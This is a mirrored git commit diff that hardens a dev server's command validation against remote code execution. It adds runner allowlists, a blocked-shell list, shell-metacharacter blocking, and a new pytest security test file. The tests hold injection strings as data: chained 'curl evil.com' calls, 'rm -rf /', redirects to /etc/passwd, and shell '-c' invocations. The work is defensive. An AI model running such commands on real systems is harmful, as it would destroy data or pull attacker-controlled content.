mirror of
https://github.com/leonvanzyl/autocoder.git
synced 2026-02-05 16:33:08 +00:00
fix: harden dev server RCE mitigations from PR #153
Address security gaps and improve validation in the dev server command execution path introduced by PR #153: Security fixes (critical): - Add missing shell metacharacters to dangerous_ops blocklist: single & (Windows cmd.exe command separator), >, <, ^, %, \n, \r - The single & gap was a confirmed RCE bypass on Windows where .cmd files are always executed via cmd.exe even with shell=False (CPython limitation documented in issue #77696) - Apply validate_custom_command_strict at /start endpoint for defense-in-depth against config file tampering Validation improvements: - Fix uvicorn --flag=value syntax (split on = before comparing) - Expand Python support: Django (manage.py), Flask, custom .py scripts - Add runners: flask, poetry, cargo, go, npx - Expand npm script allowlist: serve, develop, server, preview - Reorder PATCH /config validation to run strict check first (fail fast) - Extract constants: ALLOWED_NPM_SCRIPTS, ALLOWED_PYTHON_MODULES, BLOCKED_SHELLS for reuse and testability Cleanup: - Remove unused security.py imports from dev_server_manager.py - Fix deprecated datetime.utcnow() -> datetime.now(timezone.utc) - Remove unnecessary _remove_lock() in exception handlers where lock was never created (Popen failure path) Tests: - Add test_devserver_security.py with 78 tests covering valid commands, blocked shells, blocked commands, injection attempts, dangerous_ops blocking, and constant verification Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
This commit is contained in:
@@ -7,8 +7,8 @@ Uses project registry for path lookups and project_config for command detection.
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import sys
|
|
||||||
import shlex
|
import shlex
|
||||||
|
import sys
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
|
||||||
from fastapi import APIRouter, HTTPException
|
from fastapi import APIRouter, HTTPException
|
||||||
@@ -73,7 +73,20 @@ def get_project_dir(project_name: str) -> Path:
|
|||||||
|
|
||||||
return project_dir
|
return project_dir
|
||||||
|
|
||||||
ALLOWED_RUNNERS = {"npm", "pnpm", "yarn", "uvicorn", "python", "python3"}
|
ALLOWED_RUNNERS = {
|
||||||
|
"npm", "pnpm", "yarn", "npx",
|
||||||
|
"uvicorn", "python", "python3",
|
||||||
|
"flask", "poetry",
|
||||||
|
"cargo", "go",
|
||||||
|
}
|
||||||
|
|
||||||
|
ALLOWED_NPM_SCRIPTS = {"dev", "start", "serve", "develop", "server", "preview"}
|
||||||
|
|
||||||
|
# Allowed Python -m modules for dev servers
|
||||||
|
ALLOWED_PYTHON_MODULES = {"uvicorn", "flask", "gunicorn", "http.server"}
|
||||||
|
|
||||||
|
BLOCKED_SHELLS = {"sh", "bash", "zsh", "cmd", "powershell", "pwsh", "cmd.exe"}
|
||||||
|
|
||||||
|
|
||||||
def validate_custom_command_strict(cmd: str) -> None:
|
def validate_custom_command_strict(cmd: str) -> None:
|
||||||
"""
|
"""
|
||||||
@@ -90,46 +103,85 @@ def validate_custom_command_strict(cmd: str) -> None:
|
|||||||
base = Path(argv[0]).name.lower()
|
base = Path(argv[0]).name.lower()
|
||||||
|
|
||||||
# Block direct shells / interpreters commonly used for command injection
|
# Block direct shells / interpreters commonly used for command injection
|
||||||
if base in {"sh", "bash", "zsh", "cmd", "powershell", "pwsh"}:
|
if base in BLOCKED_SHELLS:
|
||||||
raise ValueError(f"custom_command runner not allowed: {base}")
|
raise ValueError(f"custom_command runner not allowed: {base}")
|
||||||
|
|
||||||
if base not in ALLOWED_RUNNERS:
|
if base not in ALLOWED_RUNNERS:
|
||||||
raise ValueError(f"custom_command runner not allowed: {base}")
|
raise ValueError(
|
||||||
|
f"custom_command runner not allowed: {base}. "
|
||||||
|
f"Allowed: {', '.join(sorted(ALLOWED_RUNNERS))}"
|
||||||
|
)
|
||||||
|
|
||||||
# Block one-liner execution
|
# Block one-liner execution for python
|
||||||
lowered = [a.lower() for a in argv]
|
lowered = [a.lower() for a in argv]
|
||||||
if base in {"python", "python3"}:
|
if base in {"python", "python3"}:
|
||||||
if "-c" in lowered:
|
if "-c" in lowered:
|
||||||
raise ValueError("python -c is not allowed")
|
raise ValueError("python -c is not allowed")
|
||||||
# Only allow: python -m uvicorn ...
|
if len(argv) >= 3 and argv[1] == "-m":
|
||||||
if len(argv) < 3 or argv[1:3] != ["-m", "uvicorn"]:
|
# Allow: python -m <allowed_module> ...
|
||||||
raise ValueError("Only 'python -m uvicorn ...' is allowed")
|
if argv[2] not in ALLOWED_PYTHON_MODULES:
|
||||||
|
raise ValueError(
|
||||||
|
f"python -m {argv[2]} is not allowed. "
|
||||||
|
f"Allowed modules: {', '.join(sorted(ALLOWED_PYTHON_MODULES))}"
|
||||||
|
)
|
||||||
|
elif len(argv) >= 2 and argv[1].endswith(".py"):
|
||||||
|
# Allow: python manage.py runserver, python app.py, etc.
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
raise ValueError(
|
||||||
|
"Python commands must use 'python -m <module> ...' or 'python <script>.py ...'"
|
||||||
|
)
|
||||||
|
|
||||||
|
if base == "flask":
|
||||||
|
# Allow: flask run [--host ...] [--port ...]
|
||||||
|
if len(argv) < 2 or argv[1] != "run":
|
||||||
|
raise ValueError("flask custom_command must be 'flask run [options]'")
|
||||||
|
|
||||||
|
if base == "poetry":
|
||||||
|
# Allow: poetry run <subcmd> ...
|
||||||
|
if len(argv) < 3 or argv[1] != "run":
|
||||||
|
raise ValueError("poetry custom_command must be 'poetry run <command> ...'")
|
||||||
|
|
||||||
if base == "uvicorn":
|
if base == "uvicorn":
|
||||||
if len(argv) < 2 or ":" not in argv[1]:
|
if len(argv) < 2 or ":" not in argv[1]:
|
||||||
raise ValueError("uvicorn must specify an app like module:app")
|
raise ValueError("uvicorn must specify an app like module:app")
|
||||||
|
|
||||||
allowed_flags = {"--host", "--port", "--reload", "--log-level", "--workers"}
|
allowed_flags = {"--host", "--port", "--reload", "--log-level", "--workers"}
|
||||||
i = 2
|
for a in argv[2:]:
|
||||||
while i < len(argv):
|
if a.startswith("-"):
|
||||||
a = argv[i]
|
# Handle --flag=value syntax
|
||||||
if a.startswith("-") and a not in allowed_flags:
|
flag_key = a.split("=", 1)[0]
|
||||||
raise ValueError(f"uvicorn flag not allowed: {a}")
|
if flag_key not in allowed_flags:
|
||||||
i += 1
|
raise ValueError(f"uvicorn flag not allowed: {flag_key}")
|
||||||
|
|
||||||
if base in {"npm", "pnpm", "yarn"}:
|
if base in {"npm", "pnpm", "yarn"}:
|
||||||
# Allow only dev/start scripts (no arbitrary exec)
|
# Allow only known safe scripts (no arbitrary exec)
|
||||||
if base == "npm":
|
if base == "npm":
|
||||||
if len(argv) < 3 or argv[1] != "run" or argv[2] not in {"dev", "start"}:
|
if len(argv) < 3 or argv[1] != "run" or argv[2] not in ALLOWED_NPM_SCRIPTS:
|
||||||
raise ValueError("npm custom_command must be 'npm run dev' or 'npm run start'")
|
raise ValueError(
|
||||||
|
f"npm custom_command must be 'npm run <script>' where script is one of: "
|
||||||
|
f"{', '.join(sorted(ALLOWED_NPM_SCRIPTS))}"
|
||||||
|
)
|
||||||
elif base == "pnpm":
|
elif base == "pnpm":
|
||||||
ok = (len(argv) >= 2 and argv[1] in {"dev", "start"}) or (len(argv) >= 3 and argv[1] == "run" and argv[2] in {"dev", "start"})
|
ok = (
|
||||||
|
(len(argv) >= 2 and argv[1] in ALLOWED_NPM_SCRIPTS)
|
||||||
|
or (len(argv) >= 3 and argv[1] == "run" and argv[2] in ALLOWED_NPM_SCRIPTS)
|
||||||
|
)
|
||||||
if not ok:
|
if not ok:
|
||||||
raise ValueError("pnpm custom_command must be 'pnpm dev/start' or 'pnpm run dev/start'")
|
raise ValueError(
|
||||||
|
f"pnpm custom_command must use a known script: "
|
||||||
|
f"{', '.join(sorted(ALLOWED_NPM_SCRIPTS))}"
|
||||||
|
)
|
||||||
elif base == "yarn":
|
elif base == "yarn":
|
||||||
ok = (len(argv) >= 2 and argv[1] in {"dev", "start"}) or (len(argv) >= 3 and argv[1] == "run" and argv[2] in {"dev", "start"})
|
ok = (
|
||||||
|
(len(argv) >= 2 and argv[1] in ALLOWED_NPM_SCRIPTS)
|
||||||
|
or (len(argv) >= 3 and argv[1] == "run" and argv[2] in ALLOWED_NPM_SCRIPTS)
|
||||||
|
)
|
||||||
if not ok:
|
if not ok:
|
||||||
raise ValueError("yarn custom_command must be 'yarn dev/start' or 'yarn run dev/start'")
|
raise ValueError(
|
||||||
|
f"yarn custom_command must use a known script: "
|
||||||
|
f"{', '.join(sorted(ALLOWED_NPM_SCRIPTS))}"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def get_project_devserver_manager(project_name: str):
|
def get_project_devserver_manager(project_name: str):
|
||||||
@@ -243,7 +295,7 @@ async def start_devserver(
|
|||||||
status_code=400,
|
status_code=400,
|
||||||
detail="Direct command execution is disabled. Use /config to set a safe custom_command."
|
detail="Direct command execution is disabled. Use /config to set a safe custom_command."
|
||||||
)
|
)
|
||||||
|
|
||||||
command = get_dev_command(project_dir)
|
command = get_dev_command(project_dir)
|
||||||
|
|
||||||
if not command:
|
if not command:
|
||||||
@@ -255,6 +307,13 @@ async def start_devserver(
|
|||||||
# Validate command against security allowlist before execution
|
# Validate command against security allowlist before execution
|
||||||
validate_dev_command(command, project_dir)
|
validate_dev_command(command, project_dir)
|
||||||
|
|
||||||
|
# Defense-in-depth: also run strict structural validation at execution time
|
||||||
|
# (catches config file tampering that bypasses the /config endpoint)
|
||||||
|
try:
|
||||||
|
validate_custom_command_strict(command)
|
||||||
|
except ValueError as e:
|
||||||
|
raise HTTPException(status_code=400, detail=str(e))
|
||||||
|
|
||||||
# Now command is definitely str and validated
|
# Now command is definitely str and validated
|
||||||
success, message = await manager.start(command)
|
success, message = await manager.start(command)
|
||||||
|
|
||||||
@@ -346,12 +405,17 @@ async def update_devserver_config(
|
|||||||
except ValueError as e:
|
except ValueError as e:
|
||||||
raise HTTPException(status_code=400, detail=str(e))
|
raise HTTPException(status_code=400, detail=str(e))
|
||||||
else:
|
else:
|
||||||
# Validate command against security allowlist before persisting
|
# Strict structural validation first (most specific errors)
|
||||||
|
try:
|
||||||
|
validate_custom_command_strict(update.custom_command)
|
||||||
|
except ValueError as e:
|
||||||
|
raise HTTPException(status_code=400, detail=str(e))
|
||||||
|
|
||||||
|
# Then validate against security allowlist
|
||||||
validate_dev_command(update.custom_command, project_dir)
|
validate_dev_command(update.custom_command, project_dir)
|
||||||
|
|
||||||
# Set the custom command
|
# Set the custom command
|
||||||
try:
|
try:
|
||||||
validate_custom_command_strict(update.custom_command)
|
|
||||||
set_dev_command(project_dir, update.custom_command)
|
set_dev_command(project_dir, update.custom_command)
|
||||||
except ValueError as e:
|
except ValueError as e:
|
||||||
raise HTTPException(status_code=400, detail=str(e))
|
raise HTTPException(status_code=400, detail=str(e))
|
||||||
|
|||||||
@@ -14,18 +14,17 @@ This is a simplified version of AgentProcessManager, tailored for dev servers:
|
|||||||
import asyncio
|
import asyncio
|
||||||
import logging
|
import logging
|
||||||
import re
|
import re
|
||||||
|
import shlex
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
import threading
|
import threading
|
||||||
import shlex
|
from datetime import datetime, timezone
|
||||||
from datetime import datetime
|
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from typing import Awaitable, Callable, Literal, Set
|
from typing import Awaitable, Callable, Literal, Set
|
||||||
|
|
||||||
import psutil
|
import psutil
|
||||||
|
|
||||||
from registry import list_registered_projects
|
from registry import list_registered_projects
|
||||||
from security import extract_commands, get_effective_commands, is_command_allowed
|
|
||||||
from server.utils.process_utils import kill_process_tree
|
from server.utils.process_utils import kill_process_tree
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
@@ -310,9 +309,16 @@ class DevServerProcessManager:
|
|||||||
return False, "Empty dev server command"
|
return False, "Empty dev server command"
|
||||||
|
|
||||||
# SECURITY: block shell operators/metacharacters (defense-in-depth)
|
# SECURITY: block shell operators/metacharacters (defense-in-depth)
|
||||||
dangerous_ops = ["&&", "||", ";", "|", "`", "$("]
|
# NOTE: On Windows, .cmd/.bat files are executed via cmd.exe even with
|
||||||
|
# shell=False (CPython limitation), so metacharacter blocking is critical.
|
||||||
|
# Single & is a cmd.exe command separator, ^ is cmd escape, % enables
|
||||||
|
# environment variable expansion, > < enable redirection.
|
||||||
|
dangerous_ops = ["&&", "||", ";", "|", "`", "$(", "&", ">", "<", "^", "%"]
|
||||||
if any(op in command for op in dangerous_ops):
|
if any(op in command for op in dangerous_ops):
|
||||||
return False, "Shell operators are not allowed in dev server command"
|
return False, "Shell operators are not allowed in dev server command"
|
||||||
|
# Block newline injection (cmd.exe interprets newlines as command separators)
|
||||||
|
if "\n" in command or "\r" in command:
|
||||||
|
return False, "Newlines are not allowed in dev server command"
|
||||||
|
|
||||||
# Parse into argv and execute without shell
|
# Parse into argv and execute without shell
|
||||||
argv = shlex.split(command, posix=(sys.platform != "win32"))
|
argv = shlex.split(command, posix=(sys.platform != "win32"))
|
||||||
@@ -349,7 +355,7 @@ class DevServerProcessManager:
|
|||||||
)
|
)
|
||||||
|
|
||||||
self._command = command
|
self._command = command
|
||||||
self.started_at = datetime.utcnow()
|
self.started_at = datetime.now(timezone.utc)
|
||||||
self._detected_url = None
|
self._detected_url = None
|
||||||
|
|
||||||
# Create lock once we have a PID
|
# Create lock once we have a PID
|
||||||
@@ -364,12 +370,10 @@ class DevServerProcessManager:
|
|||||||
except FileNotFoundError:
|
except FileNotFoundError:
|
||||||
self.status = "stopped"
|
self.status = "stopped"
|
||||||
self.process = None
|
self.process = None
|
||||||
self._remove_lock()
|
|
||||||
return False, f"Command not found: {argv[0]}"
|
return False, f"Command not found: {argv[0]}"
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
self.status = "stopped"
|
self.status = "stopped"
|
||||||
self.process = None
|
self.process = None
|
||||||
self._remove_lock()
|
|
||||||
return False, f"Failed to start dev server: {e}"
|
return False, f"Failed to start dev server: {e}"
|
||||||
|
|
||||||
async def stop(self) -> tuple[bool, str]:
|
async def stop(self) -> tuple[bool, str]:
|
||||||
|
|||||||
319
test_devserver_security.py
Normal file
319
test_devserver_security.py
Normal file
@@ -0,0 +1,319 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Dev Server Security Tests
|
||||||
|
=========================
|
||||||
|
|
||||||
|
Tests for dev server command validation and security hardening.
|
||||||
|
Run with: python -m pytest test_devserver_security.py -v
|
||||||
|
"""
|
||||||
|
|
||||||
|
import sys
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import pytest
|
||||||
|
|
||||||
|
# Add project root to path
|
||||||
|
sys.path.insert(0, str(Path(__file__).parent))
|
||||||
|
|
||||||
|
from server.routers.devserver import (
|
||||||
|
ALLOWED_NPM_SCRIPTS,
|
||||||
|
ALLOWED_PYTHON_MODULES,
|
||||||
|
ALLOWED_RUNNERS,
|
||||||
|
BLOCKED_SHELLS,
|
||||||
|
validate_custom_command_strict,
|
||||||
|
)
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# validate_custom_command_strict - Valid commands
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
class TestValidCommands:
|
||||||
|
"""Commands that should pass validation."""
|
||||||
|
|
||||||
|
def test_npm_run_dev(self):
|
||||||
|
validate_custom_command_strict("npm run dev")
|
||||||
|
|
||||||
|
def test_npm_run_start(self):
|
||||||
|
validate_custom_command_strict("npm run start")
|
||||||
|
|
||||||
|
def test_npm_run_serve(self):
|
||||||
|
validate_custom_command_strict("npm run serve")
|
||||||
|
|
||||||
|
def test_npm_run_preview(self):
|
||||||
|
validate_custom_command_strict("npm run preview")
|
||||||
|
|
||||||
|
def test_pnpm_dev(self):
|
||||||
|
validate_custom_command_strict("pnpm dev")
|
||||||
|
|
||||||
|
def test_pnpm_run_dev(self):
|
||||||
|
validate_custom_command_strict("pnpm run dev")
|
||||||
|
|
||||||
|
def test_yarn_start(self):
|
||||||
|
validate_custom_command_strict("yarn start")
|
||||||
|
|
||||||
|
def test_yarn_run_serve(self):
|
||||||
|
validate_custom_command_strict("yarn run serve")
|
||||||
|
|
||||||
|
def test_uvicorn_basic(self):
|
||||||
|
validate_custom_command_strict("uvicorn main:app")
|
||||||
|
|
||||||
|
def test_uvicorn_with_flags(self):
|
||||||
|
validate_custom_command_strict("uvicorn main:app --host 0.0.0.0 --port 8000 --reload")
|
||||||
|
|
||||||
|
def test_uvicorn_flag_equals_syntax(self):
|
||||||
|
validate_custom_command_strict("uvicorn main:app --port=8000 --host=0.0.0.0")
|
||||||
|
|
||||||
|
def test_python_m_uvicorn(self):
|
||||||
|
validate_custom_command_strict("python -m uvicorn main:app --reload")
|
||||||
|
|
||||||
|
def test_python3_m_uvicorn(self):
|
||||||
|
validate_custom_command_strict("python3 -m uvicorn main:app")
|
||||||
|
|
||||||
|
def test_python_m_flask(self):
|
||||||
|
validate_custom_command_strict("python -m flask run")
|
||||||
|
|
||||||
|
def test_python_m_gunicorn(self):
|
||||||
|
validate_custom_command_strict("python -m gunicorn main:app")
|
||||||
|
|
||||||
|
def test_python_m_http_server(self):
|
||||||
|
validate_custom_command_strict("python -m http.server 8000")
|
||||||
|
|
||||||
|
def test_python_script(self):
|
||||||
|
validate_custom_command_strict("python app.py")
|
||||||
|
|
||||||
|
def test_python_manage_py_runserver(self):
|
||||||
|
validate_custom_command_strict("python manage.py runserver")
|
||||||
|
|
||||||
|
def test_python_manage_py_runserver_with_port(self):
|
||||||
|
validate_custom_command_strict("python manage.py runserver 0.0.0.0:8000")
|
||||||
|
|
||||||
|
def test_flask_run(self):
|
||||||
|
validate_custom_command_strict("flask run")
|
||||||
|
|
||||||
|
def test_flask_run_with_options(self):
|
||||||
|
validate_custom_command_strict("flask run --host 0.0.0.0 --port 5000")
|
||||||
|
|
||||||
|
def test_poetry_run_command(self):
|
||||||
|
validate_custom_command_strict("poetry run python app.py")
|
||||||
|
|
||||||
|
def test_cargo_run(self):
|
||||||
|
# cargo is allowed but has no special sub-validation
|
||||||
|
validate_custom_command_strict("cargo run")
|
||||||
|
|
||||||
|
def test_go_run(self):
|
||||||
|
# go is allowed but has no special sub-validation
|
||||||
|
validate_custom_command_strict("go run .")
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# validate_custom_command_strict - Blocked shells
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
class TestBlockedShells:
|
||||||
|
"""Shell interpreters that must be rejected."""
|
||||||
|
|
||||||
|
@pytest.mark.parametrize("shell", ["sh", "bash", "zsh", "cmd", "powershell", "pwsh", "cmd.exe"])
|
||||||
|
def test_blocked_shell(self, shell):
|
||||||
|
with pytest.raises(ValueError, match="runner not allowed"):
|
||||||
|
validate_custom_command_strict(f"{shell} -c 'echo hacked'")
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# validate_custom_command_strict - Blocked commands
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
class TestBlockedCommands:
|
||||||
|
"""Commands that should be rejected."""
|
||||||
|
|
||||||
|
def test_empty_command(self):
|
||||||
|
with pytest.raises(ValueError, match="cannot be empty"):
|
||||||
|
validate_custom_command_strict("")
|
||||||
|
|
||||||
|
def test_whitespace_only(self):
|
||||||
|
with pytest.raises(ValueError, match="cannot be empty"):
|
||||||
|
validate_custom_command_strict(" ")
|
||||||
|
|
||||||
|
def test_python_dash_c(self):
|
||||||
|
with pytest.raises(ValueError, match="python -c is not allowed"):
|
||||||
|
validate_custom_command_strict("python -c 'import os; os.system(\"rm -rf /\")'")
|
||||||
|
|
||||||
|
def test_python3_dash_c(self):
|
||||||
|
with pytest.raises(ValueError, match="python -c is not allowed"):
|
||||||
|
validate_custom_command_strict("python3 -c 'print(1)'")
|
||||||
|
|
||||||
|
def test_python_no_script_or_module(self):
|
||||||
|
with pytest.raises(ValueError, match="must use"):
|
||||||
|
validate_custom_command_strict("python --version")
|
||||||
|
|
||||||
|
def test_python_m_disallowed_module(self):
|
||||||
|
with pytest.raises(ValueError, match="not allowed"):
|
||||||
|
validate_custom_command_strict("python -m pip install something")
|
||||||
|
|
||||||
|
def test_unknown_runner(self):
|
||||||
|
with pytest.raises(ValueError, match="runner not allowed"):
|
||||||
|
validate_custom_command_strict("curl http://evil.com")
|
||||||
|
|
||||||
|
def test_rm_rf(self):
|
||||||
|
with pytest.raises(ValueError, match="runner not allowed"):
|
||||||
|
validate_custom_command_strict("rm -rf /")
|
||||||
|
|
||||||
|
def test_npm_arbitrary_script(self):
|
||||||
|
with pytest.raises(ValueError, match="npm custom_command"):
|
||||||
|
validate_custom_command_strict("npm run postinstall")
|
||||||
|
|
||||||
|
def test_npm_exec(self):
|
||||||
|
with pytest.raises(ValueError, match="npm custom_command"):
|
||||||
|
validate_custom_command_strict("npm exec evil-package")
|
||||||
|
|
||||||
|
def test_pnpm_arbitrary_script(self):
|
||||||
|
with pytest.raises(ValueError, match="pnpm custom_command"):
|
||||||
|
validate_custom_command_strict("pnpm run postinstall")
|
||||||
|
|
||||||
|
def test_yarn_arbitrary_script(self):
|
||||||
|
with pytest.raises(ValueError, match="yarn custom_command"):
|
||||||
|
validate_custom_command_strict("yarn run postinstall")
|
||||||
|
|
||||||
|
def test_uvicorn_no_app(self):
|
||||||
|
with pytest.raises(ValueError, match="must specify an app"):
|
||||||
|
validate_custom_command_strict("uvicorn --reload")
|
||||||
|
|
||||||
|
def test_uvicorn_disallowed_flag(self):
|
||||||
|
with pytest.raises(ValueError, match="flag not allowed"):
|
||||||
|
validate_custom_command_strict("uvicorn main:app --factory")
|
||||||
|
|
||||||
|
def test_flask_no_run(self):
|
||||||
|
with pytest.raises(ValueError, match="flask custom_command"):
|
||||||
|
validate_custom_command_strict("flask shell")
|
||||||
|
|
||||||
|
def test_poetry_no_run(self):
|
||||||
|
with pytest.raises(ValueError, match="poetry custom_command"):
|
||||||
|
validate_custom_command_strict("poetry install")
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# validate_custom_command_strict - Injection attempts
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
class TestInjectionAttempts:
|
||||||
|
"""Adversarial inputs that attempt to bypass validation."""
|
||||||
|
|
||||||
|
def test_shell_via_path_traversal(self):
|
||||||
|
with pytest.raises(ValueError, match="runner not allowed"):
|
||||||
|
validate_custom_command_strict("/bin/sh -c 'echo hacked'")
|
||||||
|
|
||||||
|
def test_shell_via_relative_path(self):
|
||||||
|
with pytest.raises(ValueError, match="runner not allowed"):
|
||||||
|
validate_custom_command_strict("../../bin/bash -c whoami")
|
||||||
|
|
||||||
|
def test_none_input(self):
|
||||||
|
with pytest.raises(ValueError, match="cannot be empty"):
|
||||||
|
validate_custom_command_strict(None) # type: ignore[arg-type]
|
||||||
|
|
||||||
|
def test_integer_input(self):
|
||||||
|
with pytest.raises(ValueError, match="cannot be empty"):
|
||||||
|
validate_custom_command_strict(123) # type: ignore[arg-type]
|
||||||
|
|
||||||
|
def test_python_dash_c_uppercase(self):
|
||||||
|
with pytest.raises(ValueError, match="python -c is not allowed"):
|
||||||
|
validate_custom_command_strict("python -C 'exec(evil)'")
|
||||||
|
|
||||||
|
def test_powershell_via_path(self):
|
||||||
|
with pytest.raises(ValueError, match="runner not allowed"):
|
||||||
|
validate_custom_command_strict("C:\\Windows\\System32\\powershell.exe -c Get-Process")
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# dev_server_manager.py - dangerous_ops blocking
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
class TestDangerousOpsBlocking:
|
||||||
|
"""Test the metacharacter blocking in dev_server_manager.start()."""
|
||||||
|
|
||||||
|
@pytest.fixture
|
||||||
|
def manager(self, tmp_path):
|
||||||
|
from server.services.dev_server_manager import DevServerProcessManager
|
||||||
|
return DevServerProcessManager("test-project", tmp_path)
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
@pytest.mark.parametrize("cmd,desc", [
|
||||||
|
("npm run dev && curl evil.com", "double ampersand"),
|
||||||
|
("npm run dev & curl evil.com", "single ampersand"),
|
||||||
|
("npm run dev || curl evil.com", "double pipe"),
|
||||||
|
("npm run dev | curl evil.com", "single pipe"),
|
||||||
|
("npm run dev ; curl evil.com", "semicolon"),
|
||||||
|
("npm run dev `curl evil.com`", "backtick"),
|
||||||
|
("npm run dev $(curl evil.com)", "dollar paren"),
|
||||||
|
("npm run dev > /etc/passwd", "output redirect"),
|
||||||
|
("npm run dev < /etc/passwd", "input redirect"),
|
||||||
|
("npm run dev ^& calc", "caret escape"),
|
||||||
|
("npm run %COMSPEC%", "percent env expansion"),
|
||||||
|
])
|
||||||
|
async def test_blocks_shell_operator(self, manager, cmd, desc):
|
||||||
|
success, message = await manager.start(cmd)
|
||||||
|
assert not success, f"Should block {desc}: {cmd}"
|
||||||
|
assert "not allowed" in message.lower()
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_blocks_newline_injection(self, manager):
|
||||||
|
success, message = await manager.start("npm run dev\ncurl evil.com")
|
||||||
|
assert not success
|
||||||
|
assert "newline" in message.lower()
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_blocks_carriage_return(self, manager):
|
||||||
|
success, message = await manager.start("npm run dev\r\ncurl evil.com")
|
||||||
|
assert not success
|
||||||
|
assert "newline" in message.lower()
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
@pytest.mark.parametrize("shell", ["sh", "bash", "zsh", "cmd", "powershell", "pwsh"])
|
||||||
|
async def test_blocks_shell_runners(self, manager, shell):
|
||||||
|
success, message = await manager.start(f"{shell} -c 'echo hacked'")
|
||||||
|
assert not success
|
||||||
|
assert "not allowed" in message.lower()
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_blocks_empty_command(self, manager):
|
||||||
|
success, message = await manager.start("")
|
||||||
|
assert not success
|
||||||
|
assert "empty" in message.lower()
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_blocks_whitespace_command(self, manager):
|
||||||
|
success, message = await manager.start(" ")
|
||||||
|
assert not success
|
||||||
|
assert "empty" in message.lower()
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Constants validation
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
class TestConstants:
|
||||||
|
"""Verify security constants are properly defined."""
|
||||||
|
|
||||||
|
def test_all_common_shells_blocked(self):
|
||||||
|
for shell in ["sh", "bash", "zsh", "cmd", "powershell", "pwsh", "cmd.exe"]:
|
||||||
|
assert shell in BLOCKED_SHELLS, f"{shell} should be in BLOCKED_SHELLS"
|
||||||
|
|
||||||
|
def test_common_npm_scripts_allowed(self):
|
||||||
|
for script in ["dev", "start", "serve", "preview"]:
|
||||||
|
assert script in ALLOWED_NPM_SCRIPTS, f"{script} should be in ALLOWED_NPM_SCRIPTS"
|
||||||
|
|
||||||
|
def test_common_python_modules_allowed(self):
|
||||||
|
for mod in ["uvicorn", "flask", "gunicorn"]:
|
||||||
|
assert mod in ALLOWED_PYTHON_MODULES, f"{mod} should be in ALLOWED_PYTHON_MODULES"
|
||||||
|
|
||||||
|
def test_common_runners_allowed(self):
|
||||||
|
for runner in ["npm", "pnpm", "yarn", "python", "python3", "uvicorn", "flask", "cargo", "go"]:
|
||||||
|
assert runner in ALLOWED_RUNNERS, f"{runner} should be in ALLOWED_RUNNERS"
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
pytest.main([__file__, "-v"])
|
||||||
Reference in New Issue
Block a user